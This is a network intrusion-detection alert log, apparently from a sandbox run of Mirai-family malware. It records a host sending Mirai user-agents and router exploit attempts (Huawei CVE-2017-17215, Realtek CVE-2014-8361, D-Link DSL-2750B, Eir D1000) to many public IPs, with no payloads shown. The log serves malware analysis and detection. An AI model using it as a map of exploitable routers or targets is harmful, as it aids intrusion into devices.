192.168.2.2383.59.51.2257014802846380 10/23/22-17:58:27.289965	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	57014	80	192.168.2.23	83.59.51.22
192.168.2.23200.61.47.20333058802846380 10/23/22-17:57:22.414853	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	33058	80	192.168.2.23	200.61.47.203
192.168.2.2395.230.101.10348538802027121 10/23/22-17:58:05.346267	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	48538	80	192.168.2.23	95.230.101.103
192.168.2.2374.43.220.2147056802835221 10/23/22-17:58:29.395457	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	47056	80	192.168.2.23	74.43.220.21
192.168.2.23213.174.237.19051532802846380 10/23/22-17:56:59.845508	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	51532	80	192.168.2.23	213.174.237.190
192.168.2.2323.78.152.2839192802835222 10/23/22-17:57:58.690532	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39192	80	192.168.2.23	23.78.152.28
192.168.2.23197.26.35.21458358802835222 10/23/22-17:58:16.403361	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58358	80	192.168.2.23	197.26.35.214
192.168.2.2380.82.116.13850362802846457 10/23/22-17:57:14.346537	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	50362	80	192.168.2.23	80.82.116.138
192.168.2.2338.47.156.7939544802841623 10/23/22-17:57:55.465892	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	39544	80	192.168.2.23	38.47.156.79
192.168.2.2337.202.2.6733052802846457 10/23/22-17:57:28.782744	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	33052	80	192.168.2.23	37.202.2.67
192.168.2.2395.86.64.8551606802027121 10/23/22-17:57:56.515557	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	51606	80	192.168.2.23	95.86.64.85
192.168.2.2395.101.90.3059736802027121 10/23/22-17:57:33.430831	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	59736	80	192.168.2.23	95.101.90.30
192.168.2.23200.145.71.23549414802846380 10/23/22-17:58:09.690253	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	49414	80	192.168.2.23	200.145.71.235
192.168.2.23213.216.0.22834688802846380 10/23/22-17:58:33.195693	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	34688	80	192.168.2.23	213.216.0.228
192.168.2.232.21.240.12346444802846457 10/23/22-17:57:28.770639	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	46444	80	192.168.2.23	2.21.240.123
192.168.2.2395.216.179.12034398802027121 10/23/22-17:58:24.028408	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	34398	80	192.168.2.23	95.216.179.120
192.168.2.23104.251.238.6636202802841623 10/23/22-17:57:35.552301	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	36202	80	192.168.2.23	104.251.238.66
192.168.2.23206.214.82.2459664802846380 10/23/22-17:58:39.695808	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	59664	80	192.168.2.23	206.214.82.24
192.168.2.2352.194.164.20645512802835221 10/23/22-17:57:07.686714	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	45512	80	192.168.2.23	52.194.164.206
192.168.2.2388.99.36.1733822802027121 10/23/22-17:58:02.118646	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	33822	80	192.168.2.23	88.99.36.17
192.168.2.232.17.169.20059248802846457 10/23/22-17:57:51.051923	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	59248	80	192.168.2.23	2.17.169.200
192.168.2.235.189.134.839684802846457 10/23/22-17:56:55.096175	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	39684	80	192.168.2.23	5.189.134.8
192.168.2.23200.81.145.11055642802846380 10/23/22-17:58:09.155306	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	55642	80	192.168.2.23	200.81.145.110
192.168.2.2388.204.163.13051070802027121 10/23/22-17:57:02.607669	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	51070	80	192.168.2.23	88.204.163.130
192.168.2.2389.248.97.9048108802846457 10/23/22-17:57:38.022296	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	48108	80	192.168.2.23	89.248.97.90
192.168.2.2380.31.17.5649874802846457 10/23/22-17:58:26.510943	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	49874	80	192.168.2.23	80.31.17.56
192.168.2.23206.210.111.25441284802846380 10/23/22-17:58:36.878015	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	41284	80	192.168.2.23	206.210.111.254
192.168.2.2389.161.241.15233598802846457 10/23/22-17:57:38.016631	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	33598	80	192.168.2.23	89.161.241.152
192.168.2.2389.158.104.19756618802846457 10/23/22-17:57:38.026305	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	56618	80	192.168.2.23	89.158.104.197
192.168.2.2372.32.131.2447166802841623 10/23/22-17:57:11.261983	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	47166	80	192.168.2.23	72.32.131.24
192.168.2.2395.107.208.18041452802027121 10/23/22-17:57:21.052771	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	41452	80	192.168.2.23	95.107.208.180
192.168.2.2395.65.51.20445258802027121 10/23/22-17:57:13.026267	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	45258	80	192.168.2.23	95.65.51.204
192.168.2.2395.100.184.17750644802027121 10/23/22-17:56:53.267528	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	50644	80	192.168.2.23	95.100.184.177
192.168.2.23200.53.139.11446620802846380 10/23/22-17:57:13.964930	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	46620	80	192.168.2.23	200.53.139.114
192.168.2.23206.123.118.14037914802846380 10/23/22-17:57:40.679711	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	37914	80	192.168.2.23	206.123.118.140
192.168.2.2391.92.129.10059522802841623 10/23/22-17:57:57.973921	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	59522	80	192.168.2.23	91.92.129.100
192.168.2.23156.229.201.7949602802841623 10/23/22-17:58:11.633000	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	49602	80	192.168.2.23	156.229.201.79
192.168.2.2386.123.49.20149264802846380 10/23/22-17:58:19.952008	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	49264	80	192.168.2.23	86.123.49.201
192.168.2.23181.214.9.3141092802846380 10/23/22-17:56:55.612964	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	41092	80	192.168.2.23	181.214.9.31
192.168.2.2388.221.201.14334814802027121 10/23/22-17:58:17.358396	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	34814	80	192.168.2.23	88.221.201.143
192.168.2.23213.32.16.9953078802846380 10/23/22-17:58:33.195816	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	53078	80	192.168.2.23	213.32.16.99
192.168.2.2395.101.14.7040732802027121 10/23/22-17:56:58.439299	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	40732	80	192.168.2.23	95.101.14.70
192.168.2.232.19.132.9958388802846457 10/23/22-17:57:07.232331	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	58388	80	192.168.2.23	2.19.132.99
192.168.2.23195.201.23.5638570802846457 10/23/22-17:58:30.729268	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	38570	80	192.168.2.23	195.201.23.56
192.168.2.23213.112.181.21934426802846380 10/23/22-17:56:49.792313	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	34426	80	192.168.2.23	213.112.181.219
192.168.2.23156.242.132.8155596802841623 10/23/22-17:58:37.853344	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	55596	80	192.168.2.23	156.242.132.81
192.168.2.2395.216.53.11044988802027121 10/23/22-17:57:28.459897	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	44988	80	192.168.2.23	95.216.53.110
192.168.2.2389.29.194.24133250802846457 10/23/22-17:58:32.905329	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	33250	80	192.168.2.23	89.29.194.241
192.168.2.23168.181.187.25454136802841623 10/23/22-17:57:16.449081	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	54136	80	192.168.2.23	168.181.187.254
192.168.2.2389.33.237.14935768802846457 10/23/22-17:58:32.888660	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	35768	80	192.168.2.23	89.33.237.149
192.168.2.23178.242.183.5448310802846380 10/23/22-17:57:29.196463	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	48310	80	192.168.2.23	178.242.183.54
192.168.2.2382.194.104.22949784802846380 10/23/22-17:58:06.153292	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	49784	80	192.168.2.23	82.194.104.229
192.168.2.2388.221.240.8948366802027121 10/23/22-17:58:36.463499	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	48366	80	192.168.2.23	88.221.240.89
192.168.2.2395.216.179.4142042802027121 10/23/22-17:56:48.803851	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	42042	80	192.168.2.23	95.216.179.41
192.168.2.2345.135.122.3860300802841623 10/23/22-17:57:46.472229	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	60300	80	192.168.2.23	45.135.122.38
192.168.2.23188.138.163.22451372802846457 10/23/22-17:57:00.253988	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	51372	80	192.168.2.23	188.138.163.224
192.168.2.232.218.110.5346692802846457 10/23/22-17:57:50.386273	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	46692	80	192.168.2.23	2.218.110.53
192.168.2.2395.124.247.656950802027121 10/23/22-17:57:34.925735	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	56950	80	192.168.2.23	95.124.247.6
192.168.2.2385.17.140.1638068802846457 10/23/22-17:57:41.186656	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	38068	80	192.168.2.23	85.17.140.16
192.168.2.23188.226.242.2847018802846457 10/23/22-17:57:47.809135	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	47018	80	192.168.2.23	188.226.242.28
192.168.2.23213.188.195.18451004802846380 10/23/22-17:57:18.575363	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	51004	80	192.168.2.23	213.188.195.184
192.168.2.23112.124.66.5838904802027121 10/23/22-17:56:58.157811	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	38904	80	192.168.2.23	112.124.66.58
192.168.2.2388.199.88.13848756802027121 10/23/22-17:57:21.093414	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	48756	80	192.168.2.23	88.199.88.138
192.168.2.2382.198.77.25354220802846380 10/23/22-17:58:06.175330	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	54220	80	192.168.2.23	82.198.77.253
192.168.2.2385.92.111.13534280802846457 10/23/22-17:58:17.678157	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	34280	80	192.168.2.23	85.92.111.135
192.168.2.2378.230.187.4353298802846457 10/23/22-17:58:28.643775	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	53298	80	192.168.2.23	78.230.187.43
192.168.2.23195.216.39.5836876802846457 10/23/22-17:58:30.763687	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	36876	80	192.168.2.23	195.216.39.58
192.168.2.2382.64.185.16054456802846380 10/23/22-17:57:54.175536	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	54456	80	192.168.2.23	82.64.185.160
192.168.2.2389.251.225.20148082802846457 10/23/22-17:58:32.892637	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	48082	80	192.168.2.23	89.251.225.201
192.168.2.2361.6.200.14240702802846457 10/23/22-17:57:20.919307	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	40702	80	192.168.2.23	61.6.200.142
192.168.2.2388.209.229.16442788802027121 10/23/22-17:56:51.064127	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	42788	80	192.168.2.23	88.209.229.164
192.168.2.2395.104.29.20848330802027121 10/23/22-17:58:07.403642	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	48330	80	192.168.2.23	95.104.29.208
192.168.2.2337.77.74.2554966528692027339 10/23/22-17:58:30.489822	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54966	52869	192.168.2.23	37.77.74.25
192.168.2.2380.85.21.6055272802846457 10/23/22-17:57:09.771575	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	55272	80	192.168.2.23	80.85.21.60
192.168.2.2385.9.26.9258688802846457 10/23/22-17:58:17.716270	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	58688	80	192.168.2.23	85.9.26.92
192.168.2.2382.165.71.12838202802846380 10/23/22-17:58:06.174589	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	38202	80	192.168.2.23	82.165.71.128
192.168.2.23197.166.86.13836714802841623 10/23/22-17:56:55.865563	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	36714	80	192.168.2.23	197.166.86.138
192.168.2.2385.222.146.1942650802846457 10/23/22-17:57:16.979034	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	42650	80	192.168.2.23	85.222.146.19
192.168.2.23122.201.66.6058952802846457 10/23/22-17:58:35.080206	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	58952	80	192.168.2.23	122.201.66.60
192.168.2.2395.101.201.9950354802027121 10/23/22-17:57:12.971445	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	50354	80	192.168.2.23	95.101.201.99
192.168.2.235.149.93.12047320802846457 10/23/22-17:57:35.685100	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	47320	80	192.168.2.23	5.149.93.120
192.168.2.2385.94.202.14941872802846457 10/23/22-17:58:26.402400	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	41872	80	192.168.2.23	85.94.202.149
192.168.2.2388.96.178.22050648802027121 10/23/22-17:57:52.320435	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	50648	80	192.168.2.23	88.96.178.220
192.168.2.235.133.103.7253228802846457 10/23/22-17:57:35.659143	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	53228	80	192.168.2.23	5.133.103.72
192.168.2.235.9.198.1949044802846457 10/23/22-17:56:55.093874	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	49044	80	192.168.2.23	5.9.198.19
192.168.2.23188.65.18.11042522802846457 10/23/22-17:57:47.821744	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	42522	80	192.168.2.23	188.65.18.110
192.168.2.235.205.193.4854026802846457 10/23/22-17:57:35.654428	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	54026	80	192.168.2.23	5.205.193.48
192.168.2.23122.116.94.9237090802835221 10/23/22-17:57:28.658822	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	37090	80	192.168.2.23	122.116.94.92
192.168.2.23156.241.63.24946378802835222 10/23/22-17:57:58.955977	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46378	80	192.168.2.23	156.241.63.249
192.168.2.2388.208.249.16341294802027121 10/23/22-17:57:13.368317	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	41294	80	192.168.2.23	88.208.249.163
192.168.2.2346.101.143.10554114802846457 10/23/22-17:58:23.966848	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	54114	80	192.168.2.23	46.101.143.105
192.168.2.2388.198.127.14154030802027121 10/23/22-17:57:21.283853	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	54030	80	192.168.2.23	88.198.127.141
192.168.2.2379.143.177.11741010802835221 10/23/22-17:57:01.100624	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	41010	80	192.168.2.23	79.143.177.117
192.168.2.2361.239.169.10942960802846457 10/23/22-17:58:02.984285	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	42960	80	192.168.2.23	61.239.169.109
192.168.2.23216.197.110.24958620802835222 10/23/22-17:58:32.149349	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58620	80	192.168.2.23	216.197.110.249
192.168.2.23213.27.82.1533414802846380 10/23/22-17:56:58.268393	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	33414	80	192.168.2.23	213.27.82.15
192.168.2.2335.76.110.7749512802841623 10/23/22-17:57:43.028125	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	49512	80	192.168.2.23	35.76.110.77
192.168.2.2395.105.33.4943682802027121 10/23/22-17:58:37.516252	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	43682	80	192.168.2.23	95.105.33.49
192.168.2.2395.168.225.7651838802027121 10/23/22-17:57:23.621204	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	51838	80	192.168.2.23	95.168.225.76
192.168.2.23188.127.227.537096802846457 10/23/22-17:58:17.689048	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	37096	80	192.168.2.23	188.127.227.5
192.168.2.232.21.167.17850914802846457 10/23/22-17:57:50.347635	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	50914	80	192.168.2.23	2.21.167.178
192.168.2.23164.46.38.21440992802846457 10/23/22-17:56:52.405053	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	40992	80	192.168.2.23	164.46.38.214
192.168.2.23156.234.29.10749996802835221 10/23/22-17:57:16.579158	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	49996	80	192.168.2.23	156.234.29.107
192.168.2.23181.212.129.4058548802846380 10/23/22-17:57:25.375918	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	58548	80	192.168.2.23	181.212.129.40
192.168.2.2395.86.106.1436922802027121 10/23/22-17:57:33.493683	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	36922	80	192.168.2.23	95.86.106.14
192.168.2.2346.167.244.7350194802846457 10/23/22-17:58:15.369700	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	50194	80	192.168.2.23	46.167.244.73
192.168.2.2346.227.228.12348044802846457 10/23/22-17:58:23.919255	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	48044	80	192.168.2.23	46.227.228.123
192.168.2.2395.131.48.14152828802027121 10/23/22-17:58:37.349008	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	52828	80	192.168.2.23	95.131.48.141
192.168.2.23142.217.11.1363890475472835222 10/23/22-17:57:04.158370	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38904	7547	192.168.2.23	142.217.11.136
192.168.2.2388.159.151.19138070802027121 10/23/22-17:57:31.198661	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	38070	80	192.168.2.23	88.159.151.191
192.168.2.235.182.248.853140802846457 10/23/22-17:57:35.592639	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	53140	80	192.168.2.23	5.182.248.8
192.168.2.23176.31.131.5048328802841623 10/23/22-17:57:42.978234	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	48328	80	192.168.2.23	176.31.131.50
192.168.2.23103.122.247.12445666802841623 10/23/22-17:57:55.522647	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	45666	80	192.168.2.23	103.122.247.124
192.168.2.2395.100.200.1951046802027121 10/23/22-17:57:10.331083	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	51046	80	192.168.2.23	95.100.200.19
192.168.2.23169.197.105.12555642802846380 10/23/22-17:56:58.117829	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	55642	80	192.168.2.23	169.197.105.125
192.168.2.2385.115.221.758258802846457 10/23/22-17:57:41.272377	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	58258	80	192.168.2.23	85.115.221.7
192.168.2.23188.93.57.22634070802846457 10/23/22-17:58:07.975888	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	34070	80	192.168.2.23	188.93.57.226
192.168.2.23164.138.115.15240572528692027339 10/23/22-17:57:22.360224	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40572	52869	192.168.2.23	164.138.115.152
192.168.2.23213.139.90.6856982802846380 10/23/22-17:56:39.207635	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	56982	80	192.168.2.23	213.139.90.68
192.168.2.2384.113.79.17847614802846457 10/23/22-17:58:15.349677	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	47614	80	192.168.2.23	84.113.79.178
192.168.2.2395.100.149.20560382802027121 10/23/22-17:57:16.182795	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	60382	80	192.168.2.23	95.100.149.205
192.168.2.23144.76.31.1473692480802841623 10/23/22-17:57:46.449872	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	36924	8080	192.168.2.23	144.76.31.147
192.168.2.23112.74.203.18250200802027121 10/23/22-17:58:25.658198	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	50200	80	192.168.2.23	112.74.203.182
192.168.2.235.251.51.22643580802846457 10/23/22-17:57:03.002530	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	43580	80	192.168.2.23	5.251.51.226
192.168.2.2395.142.91.24144480802027121 10/23/22-17:57:13.187469	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	44480	80	192.168.2.23	95.142.91.241
192.168.2.23110.43.204.8247202802846457 10/23/22-17:57:43.762005	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	47202	80	192.168.2.23	110.43.204.82
192.168.2.2361.241.44.1348008802846457 10/23/22-17:57:50.923581	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	48008	80	192.168.2.23	61.241.44.13
192.168.2.2395.179.132.22838894802027121 10/23/22-17:57:12.973047	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	38894	80	192.168.2.23	95.179.132.228
192.168.2.23195.29.82.2341586802846457 10/23/22-17:57:59.916298	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	41586	80	192.168.2.23	195.29.82.23
192.168.2.2395.216.184.21635280802027121 10/23/22-17:57:54.640552	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	35280	80	192.168.2.23	95.216.184.216
192.168.2.2388.112.35.11135672802027121 10/23/22-17:58:29.914258	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	35672	80	192.168.2.23	88.112.35.111
192.168.2.23200.123.142.8537142802846380 10/23/22-17:57:58.047528	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	37142	80	192.168.2.23	200.123.142.85
192.168.2.23213.102.76.10854104802846380 10/23/22-17:58:33.254434	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	54104	80	192.168.2.23	213.102.76.108
192.168.2.2395.79.109.20452060802027121 10/23/22-17:57:16.196003	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	52060	80	192.168.2.23	95.79.109.204
192.168.2.2385.116.124.11460230802846457 10/23/22-17:57:31.285712	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	60230	80	192.168.2.23	85.116.124.114
192.168.2.23178.239.222.953806802846380 10/23/22-17:56:49.757764	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	53806	80	192.168.2.23	178.239.222.9
192.168.2.2388.216.187.19551932802027121 10/23/22-17:58:10.243378	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	51932	80	192.168.2.23	88.216.187.195
192.168.2.23200.183.48.17441148802846380 10/23/22-17:57:43.908593	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	41148	80	192.168.2.23	200.183.48.174
192.168.2.23122.249.243.23437700802846457 10/23/22-17:58:20.130052	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	37700	80	192.168.2.23	122.249.243.234
192.168.2.2380.151.86.19950792802846457 10/23/22-17:58:13.019043	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	50792	80	192.168.2.23	80.151.86.199
192.168.2.23178.79.144.3344066802846380 10/23/22-17:57:55.407757	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	44066	80	192.168.2.23	178.79.144.33
192.168.2.2385.241.201.9042092802846457 10/23/22-17:58:37.542131	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	42092	80	192.168.2.23	85.241.201.90
192.168.2.232.182.109.15639428802846457 10/23/22-17:57:03.498337	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	39428	80	192.168.2.23	2.182.109.156
192.168.2.2379.106.155.155628475472023548 10/23/22-17:56:53.678013	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	56284	7547	192.168.2.23	79.106.155.15
192.168.2.23156.254.104.18939108802835222 10/23/22-17:57:23.500357	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39108	80	192.168.2.23	156.254.104.189
192.168.2.2388.100.220.11954706802027121 10/23/22-17:57:49.369995	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	54706	80	192.168.2.23	88.100.220.119
192.168.2.23213.63.142.7745876802846380 10/23/22-17:57:54.148119	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	45876	80	192.168.2.23	213.63.142.77
192.168.2.23200.122.88.158840802846380 10/23/22-17:57:43.224412	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	58840	80	192.168.2.23	200.122.88.1
192.168.2.2346.28.44.12760174802846457 10/23/22-17:58:23.965267	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	60174	80	192.168.2.23	46.28.44.127
192.168.2.23195.20.52.18047834802846457 10/23/22-17:56:43.200673	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	47834	80	192.168.2.23	195.20.52.180
192.168.2.2395.183.53.8554192802027121 10/23/22-17:56:53.257650	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	54192	80	192.168.2.23	95.183.53.85
192.168.2.2346.101.80.4854414802846457 10/23/22-17:58:23.936940	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	54414	80	192.168.2.23	46.101.80.48
192.168.2.23178.18.100.16160860802846380 10/23/22-17:57:49.425657	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	60860	80	192.168.2.23	178.18.100.161
